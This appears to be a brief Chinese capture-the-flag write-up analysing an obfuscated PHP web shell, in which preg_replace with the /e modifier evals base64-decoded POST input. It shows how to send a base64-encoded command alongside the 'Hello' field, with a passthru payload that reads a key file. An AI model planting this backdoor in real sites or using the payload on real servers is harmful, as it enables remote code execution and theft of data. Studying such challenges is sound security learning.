有源码如下:
<?php
@$a=$_POST['Hello'];
if(isset($a)){
@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
}
?>
Hello
分析:
- 首先把这串字符串通过base64解码可得
[@eval(base64_decode($_POST[z0]));]那么原来的语句就变成了@preg_replace("/\[(.*)\]/e",'\\1',[@eval(base64_decode($_POST[z0]);])); - 那么把$_POST[z0]进行base64encode即可,最后通过post的方式将z0与Hello一并发送出去
- payload可以设置成
echo passthru("cat ../key.php");